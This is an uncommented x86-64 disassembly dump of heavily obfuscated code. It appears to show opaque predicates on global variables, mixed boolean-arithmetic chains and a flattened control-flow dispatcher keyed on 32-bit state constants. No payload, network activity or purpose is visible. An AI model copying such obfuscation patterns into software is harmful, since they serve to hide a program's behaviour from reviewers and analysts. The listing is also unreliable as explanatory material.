mov eax, ebx
and al, cl
and r9b, bl
xor bl, cl
or bl, al
and dl, cl
or dl, r9b
mov ecx, edx
xor cl, 1
mov eax, ecx
and al, dl
xor al, 1
mov r8d, edx
xor r8b, al
or al, dl
xor al, 1
or al, r8b
xor al, bl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xa5966ce8
mov ebp, 0xf18efce0
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0xa5966ce8
jmp 0x1400bd5b0
mov ecx, 0xde76f785
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x92bf32d1
and edx, ebp
not ebp
and ebp, 0x88a03d5a
and ecx, 0x775fc2a5
or ecx, ebp
mov ebp, ecx
xor ebp, 0x1a0080
xor ecx, 0x80a03050
or ecx, 0x6d40cd2e
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x5a05e235
and ebp, 0x80ba10c0
or ebp, edi
or ecx, ebx
and ebx, 0x5a05e235
and edx, 0xa5fa1dca
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb23f338b
and ecx, 0x4dc0cc74
or ecx, edx
mov edx, ecx
xor edx, 0xdf7ffea5
mov ebp, ecx
xor ebp, 0xdf7ffea4
and ebp, edx
xor ecx, 0x2080015a
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x408a480
mov ebp, edx
and ebp, 0x30814305
or ebp, ecx
xor ebp, 0x30814305
and edx, 0xcb76187a
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xcb76187a
and edx, 0x3489e785
or edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xc54eb8e3
and edx, 0x3ab1471c
or edx, ebp
xor edx, 0x3ab1471c
or edx, ecx
cmp edx, 0xffffffff
sete r8b
setne r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg cl
mov eax, r10d
xor al, r8b
and al, r10b
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
xor al, cl
mov edx, ecx
xor dl, r8b
and dl, cl
and r9b, r10b
and cl, r8b
or cl, r9b
mov ebx, edx
xor bl, 1
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
xor dl, 1
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0x67417b65
mov edx, 0x8b7b7daa
cmovne ecx, edx
test al, 1
mov eax, 0x67417b65
jmp 0x1400bb6fc
mov ecx, 0xec172e04
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, dword [0x140265730]
mov r8d, dword [0x14026572c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
or ebp, 0xf9b8a315
mov ebx, ebp
not ebx
or ecx, 0x6475cea
mov edx, ecx
not edx
and ebp, 0x697f1631
and ebx, 0x60048ca
or ebx, ebp
and ecx, 0x697f1631
and edx, 0x9080a104
or edx, ecx
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x2b935f19
and edx, 0xd46ca0e6
or edx, ecx
mov edi, edx
xor edi, 0xd22bfc0c
mov ecx, edx
xor ecx, 0x2dd403f3
xor edx, 0x203cf237
mov ebp, edx
and ebp, ecx
and edx, edi
mov ebx, ebp
not ebx
mov esi, edx
not esi
mov eax, ebx
and eax, 0xc816d4e7
and ebp, 0x37e92b18
or ebp, eax
or ebx, esi
and esi, 0xc816d4e7
and edx, 0x37e92b18
or edx, esi
xor edx, ebp
not ebx
or ebx, edx
mov eax, ebx
not eax
and eax, 0xde8f1c5
and ebx, 0xf2170e3a
or ebx, eax
and edi, 0xb28e0d82
mov eax, ecx
and eax, 0x4d71f27d
or eax, edi
xor eax, 0xb28e0d83
and ecx, 1
or ecx, eax
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
cmp ecx, 0xffffffff
sete cl
setne r9b
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl bl
and bl, r9b
and cl, dl
or cl, bl
mov ebx, edx
xor bl, r9b
mov eax, ebx
xor al, 1
or dl, r9b
xor dl, 1
or dl, bl
xor bl, dl
xor bl, 1
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
and dl, al
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov r8d, edx
xor r8b, 1
mov eax, r8d
and al, dl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
and dl, cl
xor cl, 1
xor al, 1
and al, cl
or al, dl
mov edx, ecx
and dl, r8b
xor cl, r8b
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xf9da0915
mov ebp, 0x5a681ad6
cmovne ecx, ebp
test al, al
cmove ecx, ebp
test dl, 1
mov eax, 0xf9da0915
jmp 0x1400bd5b0
mov eax, dword [0x140265730]
mov ecx, dword [0x14026572c]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov ebp, eax
and ebp, 0xfffffffe
mov edx, ebx
and edx, 1
or edx, ebp
mov ebp, edx
not ebp
and eax, ebp
and edx, ebx
or edx, eax
not edx
or edx, ebp
cmp edx, 0xffffffff
sete r8b
setne bl
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r9b
mov ecx, r9d
xor cl, bl
mov edx, eax
xor dl, r8b
and dl, al
and bl, r9b
and al, r8b
or al, bl
mov ebx, edx
xor bl, 1
xor dl, al
xor al, 1
or al, bl
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
xor dl, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ebp, 0xe6922850
mov ecx, 0xf488f953
cmovne ebp, ecx
test dl, 1
mov ecx, 0xe6922850
jmp 0x1400bc093
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebx, [rdx - 1]
imul ebx, edx
mov esi, ebx
not esi
mov edx, esi
and edx, 0x29580881
mov ecx, ebx
and ecx, 0x92031234
or ecx, edx
mov edx, ecx
xor edx, 0x10001024
xor ecx, 0x2510a80a
mov edi, esi
or edi, 0xbb5b1ab5
mov ebp, edi
not ebp
and ecx, 0xa713aa1a
and edx, 0x184810a5
or edx, ecx
and edi, 0xa713aa1a
and ebp, 0x40a44540
or ebp, edi
xor ebp, edx
mov ecx, ebp
not ecx
and ecx, 0xd531c46f
and ebp, 0x2ace3b90
or ebp, ecx
mov ecx, ebp
xor ecx, 0x950104
xor ebp, 0x422a98c3
and ebp, 0xd32ab8e3
and ecx, 0x2cd5471c
or ecx, ebp
xor ecx, 0x2cd5471c
and esi, 0x1eece32f
and ebx, 0xe1131cd0
or ebx, esi
xor ebx, 0xe1131cd0
mov edx, ecx
and edx, ebx
xor ebx, ecx
or ebx, edx
mov ecx, ebx
not ecx
and ecx, 0xe8ecdf47
and ebx, 0x171320b8
or ebx, ecx
xor ebx, 0x171320b8
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
xor dl, al
or bl, cl
xor bl, 1
or bl, dl
mov edx, ebx
not dl
xor cl, al
mov eax, ecx
not al
and al, bl
or bl, cl
and cl, dl
or cl, al
mov eax, ecx
xor al, bl
test cl, cl
mov ecx, 0xcb88035b
mov edx, 0xe53d8b7f
cmovne ecx, edx
test bl, bl
mov ebp, 0xcb88035b
cmovne ecx, ebp
jmp 0x1400bc2bd
mov eax, dword [0x140265730]
lea ebp, [rax - 1]
imul ebp, eax
mov ebx, ebp
not ebx
mov ecx, ebx
and ecx, 0x891c4570
mov eax, ebp
and eax, 0x76e3ba8e
or eax, ecx
mov ecx, eax
xor ecx, 0x2262088c
xor eax, 0x891c4571
mov edx, ebp
xor edx, 0xfffffffe
and edx, ebp
mov edi, edx
not edi
mov esi, eax
and esi, 0xdc89b713
and ecx, 0x237648ec
or ecx, esi
or eax, edi
and edi, 0xdc89b713
and edx, 0x237648ec
or edx, edi
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x740fa713
and eax, 0x8bf058ec
or eax, ecx
mov ecx, eax
xor ecx, 0xbf04888
xor eax, 0x740fa713
mov edx, eax
and edx, 0xc0001777
and ecx, 0x3fffe888
or ecx, edx
or eax, ebp
and ebp, 0xc0001777
and ebx, 0x3fffe888
or ebx, ebp
xor ebx, ecx
not eax
or eax, ebx
mov ecx, eax
not ecx
and ecx, 0xc725798c
and eax, 0x38da8673
or eax, ecx
xor eax, 0x38da8673
sete al
setne cl
cmp dword [0x14026572c], 9
setg bl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor al, bl
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
mov ecx, 0xa2fce2a5
mov ebp, 0x8886e68c
cmovne ecx, ebp
test al, al
mov eax, ecx
mov ebp, 0xa2fce2a5
cmovne eax, ebp
test dl, dl
jmp 0x1400bb1ca
mov ecx, dword [0x140265730]
mov esi, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x8e4507ae
and edx, 0x71baf851
or edx, ecx
mov ebx, edx
xor ebx, 0x20000001
xor edx, 0x8050180
or ebp, 0xaac505c5
mov ecx, ebp
not ecx
or edx, 0x502d030
and edx, 0xd87d1f0
and ebx, 0xa2400405
or ebx, edx
and ebp, 0xd87d1f0
and ecx, 0x50382a0a
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x119232bc
and ecx, 0xee6dcd43
or ecx, edx
mov ebp, ecx
xor ebp, 0x44a8c886
mov ebx, ecx
xor ebx, 0xbb573779
mov edx, ecx
xor edx, 0x8d80ce5a
mov edi, edx
and edi, ebx
and edx, ebp
mov ebp, edi
and ebp, edx
xor edx, edi
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0xcf1576c4
and edx, 0x30ea893b
or edx, ebp
xor edx, 0xf9c28fe6
and ebx, 1
xor ecx, 0xbb573778
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0x9fa8da9d
and ecx, 0x60572562
or ecx, ebp
xor ecx, 0x60572562
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
mov ebp, ecx
xor ebp, 0x57027e6f
and ebp, ecx
not ecx
and ecx, 0x81a85b4
and edx, 0xf7e57a4b
or edx, ecx
mov ecx, edx
xor ecx, 0x1700080a
xor edx, 0x20424
or edx, 0xa8fd8190
mov ebx, ebp
not ebx
mov edi, edx
and edi, 0x6892f3e5
and ecx, 0x17000c0a
or ecx, edi
or edx, ebx
and ebx, 0x6892f3e5
and ebp, 0x976d0c1a
or ebp, ebx
xor ebp, ecx
not edx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x85699226
and edx, 0x7a966dd9
or edx, ecx
mov ecx, edx
xor ecx, 0xd900090
xor edx, 0x2610849
and ecx, 0xdd9ae490
and edx, 0x22651b6f
or edx, ecx
xor edx, 0x22651b6f
sete cl
setne al
cmp esi, 0xa
setl r9b
cmp esi, 9
setg r8b
mov edx, eax
and dl, r8b
mov ebx, r9d
and bl, cl
or bl, dl
xor bl, 1
or bl, r8b
xor bl, 1
or al, r9b
xor cl, r9b
and cl, r9b
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
xor cl, bl
mov eax, ecx
xor al, 1
and al, bl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x46592ac0
mov ebp, 0x8f6aed1b
cmovne edx, ebp
test cl, 1
mov ecx, edx
cmovne ecx, ebp
jmp 0x1400bb5c9
mov ecx, dword [0x140265730]
mov r8d, dword [0x14026572c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0x5b5611f
and ecx, ebp
not ebp
and ebp, 0x43042e94
and edx, 0xbcfbd16b
or edx, ebp
mov ebp, edx
xor ebp, 0x4800100
xor edx, 0x1042014
or edx, 0xfa4a9ee0
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xc979fa8b
and ebp, 0x4840114
or ebp, edi
or edx, ebx
and ebx, 0xc979fa8b
and ecx, 0x36860574
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x40316d7b
and edx, 0xbfce9284
or edx, ecx
mov edi, edx
xor edi, 0xba7bf39b
mov ecx, edx
xor ecx, 0x45840c64
mov ebx, edi
or ebx, 0xee14948b
mov ebp, ebx
not ebp
xor edx, 0xab9098ef
and edx, edi
mov esi, edx
not esi
mov eax, ebx
and eax, 0x79357e1d
and ebp, 0xca0160
or ebp, eax
or ebx, esi
and esi, 0x79357e1d
and edx, 0x86ca81e2
or edx, esi
xor edx, ebp
not ebx
or ebx, edx
mov eax, ebx
not eax
and eax, 0xee14948a
and ebx, 0x11eb6b75
or ebx, eax
and edi, 0x37d485e1
mov eax, ecx
and eax, 0xc82b7a1e
or eax, edi
xor eax, 0x37d485e0
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0xbe0e7568
and ecx, 0x41f18a97
or ecx, eax
xor ecx, 0x41f18a97
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0x13f821dd
and edx, ecx
or ecx, 0xec07de22
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0xac9f7bf8
and eax, 0x13600005
or eax, ebx
or ecx, ebp
and ebp, 0xac9f7bf8
and edx, 0x53608407
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x39e8a618
and ecx, 0xc61759e7
or ecx, eax
mov eax, ecx
xor eax, 0x4011838
xor ecx, 0xa0087c5
and ecx, 0xdbeee7c7
and eax, 0x24111838
or eax, ecx
mov ecx, eax
xor ecx, 0x11008
xor eax, 0x2466741
and eax, 0x26566f71
and ecx, 0xd9a9908e
or ecx, eax
xor ecx, 0x26566f71
cmp ecx, 0xffffffff
sete r10b
setne cl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg al
mov edx, eax
and dl, cl
mov ebx, eax
xor bl, cl
or bl, dl
mov r8d, ebx
xor r8b, 1
xor al, r10b
not al
and al, r10b
xor cl, r9b
not cl
and cl, r9b
mov edx, eax
xor dl, 1
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, bl
or bl, al
and al, r8b
or al, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0xe1e617d8
mov edx, 0x88115e22
cmovne ecx, edx
test al, al
mov eax, ecx
mov edx, 0xe1e617d8
cmovne eax, edx
test bl, 1
jmp 0x1400bb1ca
mov eax, dword [0x140265730]
mov ecx, dword [0x14026572c]
lea ebp, [rax - 1]
imul ebp, eax
mov edx, ebp
mov eax, ebp
xor eax, 0xac773c01
and eax, ebp
not ebp
and ebp, 0x28411801
and edx, 0x84362400
or edx, ebp
xor edx, 0x84362400
mov ebp, edx
and ebp, eax
xor eax, edx
or eax, ebp
mov edx, eax
not edx
and edx, 0x5388c3fe
and eax, 0xac773c01
or eax, edx
mov edx, eax
not edx
mov ebp, eax
and ebp, 0xfffffffe
and edx, 0xc465fe32
and eax, 0x3b9a01cd
or eax, edx
xor eax, 0x3b9a01cc
mov edx, ebp
and edx, eax
xor eax, ebp
or eax, edx
mov edx, eax
not edx
and edx, 0xdf530892
and eax, 0x20acf76d
or eax, edx
xor eax, 0x20acf76d
setne r8b
sete r9b
cmp ecx, 9
setg bpl
cmp ecx, 0xa
setl r10b
mov edi, r10d
xor dil, bpl
and dil, r10b
mov r11d, r9d
xor r11b, r8b
and r11b, r9b
mov ecx, r11d
xor cl, 1
mov ebx, r11d
and bl, cl
xor bl, 1
mov esi, ebx
xor sil, cl
or bl, cl
xor bl, 1
or bl, sil
mov esi, ebx
xor sil, 1
mov eax, edi
xor al, 1
mov edx, eax
and dl, dil
mov r12d, eax
xor r12b, dl
xor dl, 1
or dl, dil
xor dl, 1
or dl, r12b
mov r12d, 0xcec85de5
or al, dil
mov edi, edx
xor dil, al
or al, dl
xor al, 1
or al, dil
or cl, r11b
xor bl, cl
xor bl, 1
or cl, sil
xor cl, 1
or cl, bl
xor cl, al
mov eax, ecx
xor al, 1
or r10b, r9b
xor bpl, r8b
mov edx, r10d
xor dl, bpl
xor bpl, 1
xor dl, 1
or bpl, r10b
xor bpl, 1
or bpl, dl
mov edx, ebp
xor dl, 1
and dl, al
or al, bpl
and bpl, cl
or bpl, dl
mov edx, ebp
xor dl, al
test bpl, 1
mov ecx, 0xf62984ff
mov ebp, 0x10563a81
cmovne ecx, ebp
test al, 1
mov eax, 0xf62984ff
cmovne ecx, eax
jmp 0x1400bd418
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x2715b8b
and ecx, edx
and edx, 0xfd8ea474
or edx, ebp
mov ebp, edx
xor ebp, 0xf1080034
xor edx, 0x2715b8b
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xeb7a741
and ebp, 0xf14858be
or ebp, edi
or edx, ebx
and ebx, 0xeb7a741
and ecx, 0xf14858be
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ebx, edx
not ebx
mov ebp, edx
xor ebp, 0xff4f81cb
and ebp, ebx
mov ecx, edx
and ecx, 0xb07e34
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0x9a26a3aa
and ecx, 0x65d95c55
or ecx, ebp
mov edi, ecx
xor edi, 0x9890489f
and edx, 0xb34250a7
mov ebp, ebx
and ebp, 0x4cbdaf58
or ebp, edx
xor ebp, 0xb34250a6
and ebx, 1
or ebx, ebp
mov edx, ebx
not edx
and edx, 0x4249252e
and ebx, 0xbdb6dad1
or ebx, edx
mov edx, ebx
xor edx, 0x98904891
xor ebx, 0x4249252e
xor ecx, 0x65692260
mov ebp, ecx
and ebp, 0x67279740
and edi, 0x98d868bf
or edi, ebp
or ecx, ebx
and ebx, 0x67279740
and edx, 0x98d868bf
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
sete r9b
setne cl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg dl
mov eax, edx
and al, cl
mov ebx, edx
xor bl, cl
or bl, al
mov eax, ebx
xor al, 1
xor dl, r9b
not dl
and dl, r9b
xor cl, r8b
not cl
and cl, r8b
mov r8d, edx
xor r8b, 1
xor dl, cl
xor cl, 1
or cl, r8b
xor cl, 1
or cl, dl
xor cl, 1
and al, bl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
xor al, cl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x9b8ad2f9
mov ebp, 0xa1b6c5ed
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0x9b8ad2f9
jmp 0x1400bd5b0
mov ecx, 0xef3716ab
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, 0xa8db373f
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, 0xeca8f179
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, 0x8b35b92d
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, 0x8ed325f0
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x2f4a4806
and edx, ecx
and ecx, 0xd0b5b7f9
or ecx, ebp
mov ebp, ecx
xor ebp, 0x31b3b0
xor ecx, 0x2f4a4806
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xd78c044b
and ebp, 0x2873fbb4
or ebp, edi
or ecx, ebx
and ebx, 0xd78c044b
and edx, 0x2873fbb4
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xac574a16
and ecx, 0x53a8b5e9
or ecx, edx
mov edx, ecx
xor edx, 0x1200b040
xor ecx, 0xa0500010
and ecx, 0xe1f805b9
and edx, 0x1e07fa46
or edx, ecx
mov ecx, edx
xor ecx, 0xc0d80110
xor edx, 0x8076804
and edx, 0x29276cad
and ecx, 0xd6d89352
or ecx, edx
mov edx, ecx
xor edx, 0x12489150
xor ecx, 0x210444a9
and ecx, 0xe59446ab
and edx, 0x1a6bb954
or edx, ecx
xor edx, 0xe59446ab
cmp edx, 0xffffffff
setne cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl bl
xor bl, cl
mov eax, ebx
xor al, dl
and al, bl
xor dl, cl
mov ecx, edx
xor cl, 1
mov r8d, edx
mov ebx, eax
or dl, al
xor al, 1
and r8b, al
and bl, cl
or bl, r8b
xor al, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, bl
test al, 1
mov eax, 0x7505d6c5
mov ecx, 0x276a97ff
cmovne eax, ecx
test dl, dl
mov ecx, 0x7505d6c5
cmovne ecx, eax
test bl, bl
jmp 0x1400bd5b0
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xa492aff8
and ebp, 0x5b6d5007
or ebp, edi
or ecx, ebx
and ebx, 0xa492aff8
and edx, 0x5b6d5007
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xb30200b5
and ecx, 0x4cfdff4a
or ecx, edx
mov edx, ecx
not edx
and edx, 0xcad3b031
and ecx, 0x352c4fce
or ecx, edx
mov edx, ecx
xor edx, 0x2020149
xor ecx, 0x9119080
and edx, 0x72c2214d
and ecx, 0x8d3ddeb2
or ecx, edx
xor ecx, 0x8d3ddeb2
sete r9b
cmp eax, 9
setg bl
cmp eax, 0xa
setl r8b
mov eax, r9d
xor al, r8b
mov ecx, eax
xor cl, 1
mov r10d, ecx
xor r10b, bl
and r10b, cl
xor bl, r9b
not bl
and bl, r9b
and al, r8b
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
mov ebx, ecx
and bl, al
xor bl, 1
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
mov edx, ebx
and dl, r10b
or al, r10b
xor r10b, 1
xor bl, 1
and bl, r10b
or bl, dl
xor cl, r10b
xor al, 1
or al, cl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0x4a7da315
mov eax, 0x4f8fec5c
cmovne ecx, eax
test bl, 1
cmove ecx, eax
not dl
test dl, 1
mov eax, 0x4a7da315
jmp 0x1400bbbaf
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea esi, [rcx - 1]
imul esi, ecx
mov edi, esi
not edi
mov edx, esi
or edx, 0xc20919d4
mov ebx, edx
not ebx
mov ecx, edi
or ecx, 0x3df6e62b
mov ebp, ecx
not ebp
and edx, 0xdeaeef61
and ebx, 0x2150000a
or ebx, edx
and ecx, 0xdeaeef61
and ebp, 0x11094
or ebp, ecx
xor ebp, ebx
mov ecx, ebp
not ecx
and ecx, 0x5934d994
and ebp, 0xa6cb266b
or ebp, ecx
mov ebx, ebp
xor ebx, 0x228c000
xor ebp, 0x600039a2
and ebp, 0xf91539e3
and ebx, 0x6eac61c
or ebx, ebp
mov ecx, ebx
xor ecx, 0x2228208
xor ebx, 0xf91539e3
mov edx, ebx
and edx, 0x64dc7d57
and ecx, 0x9b2382a8
or ecx, edx
or ebx, esi
and esi, 0x64dc7d57
and edi, 0x9b2382a8
or edi, esi
xor edi, ecx
not ebx
or ebx, edi
cmp ebx, 0xffffffff
sete r8b
setne r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg cl
mov eax, r9d
xor al, r8b
and al, r9b
mov edx, r10d
or dl, al
xor al, 1
or al, cl
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, r10d
xor r10b, r8b
and r8b, cl
and dl, r9b
or dl, r8b
or cl, r9b
xor cl, 1
or cl, r10b
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, 1
and cl, dl
xor dl, 1
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
or dl, cl
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0x71f04bab
mov ebp, 0x606a647
cmovne eax, ebp
test dl, 1
mov ecx, eax
cmovne ecx, ebp
test bl, 1
jmp 0x1400bd5b0
mov ecx, 0x4ffbc76c
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x4600080b
mov ebx, ecx
and ebx, 0xb220d0
or ebx, edx
xor ebx, 0xb220d0
mov edx, ecx
xor edx, 0x46b228db
and edx, ecx
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xb94dd725
and edx, 0x46b228da
or edx, ebx
and ebp, 0x8685e237
and ecx, 0x797a1dc8
or ecx, ebp
mov ebp, ecx
xor ebp, 0x797a1dc8
xor ecx, 0x8685e237
and ecx, edx
not edx
and ebp, edx
or ecx, ebp
xor edx, ecx
test edx, ecx
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and al, dl
and cl, bl
or cl, al
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
mov eax, ecx
xor al, 1
or al, bl
xor bl, cl
xor bl, 1
xor al, 1
or al, bl
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x63014df1
mov ebp, 0x38847a3b
cmovne eax, ebp
test cl, cl
cmove eax, ebp
not dl
test dl, 1
mov ecx, 0x63014df1
cmovne eax, ecx
jmp 0x1400bc4e9
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x81e9d8e2
and edx, ebp
not ebp
mov ebx, ebp
and ebx, 0x80a1d0e0
and ecx, 0x1480802
or ecx, ebx
xor ecx, 0x1480802
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xfe486d91
and edx, 0x1b7926e
or edx, ecx
xor edx, 0x7fa1b572
mov ecx, edx
and ecx, ebp
xor edx, ebp
or edx, ecx
cmp edx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, edx
and cl, al
or dl, bl
and bl, r8b
or bl, cl
xor bl, 1
or bl, al
or al, r8b
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
xor al, 1
mov ecx, ebx
or cl, al
xor al, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xcad277d8
mov ebp, 0x52a4c3e5
cmovne edx, ebp
test al, 1
mov eax, edx
mov ebp, 0xcad277d8
cmovne eax, ebp
test cl, 1
cmovne eax, edx
jmp 0x1400bc4e9
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x9904e4e0
and edx, ecx
and ecx, 0x66fb1b1f
or ecx, ebp
mov ebp, ecx
xor ebp, 0x24620b03
xor ecx, 0x9904e4e0
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xc39d947c
and ebp, 0x3c626b83
or ebp, edi
or ecx, ebx
and ebx, 0xc39d947c
and edx, 0x3c626b83
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xa753fc19
and ecx, 0x58ac03e6
or ecx, edx
mov edx, ecx
xor edx, 0x40a80104
xor ecx, 0x3518c08
and ecx, 0x1b558eea
and edx, 0xe4aa7115
or edx, ecx
xor edx, 0x1b558eea
sete cl
setne r9b
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov edx, r9d
and dl, al
mov ebx, r8d
and bl, cl
or bl, dl
xor al, bl
and al, bl
or r9b, r8b
xor cl, r8b
and cl, r8b
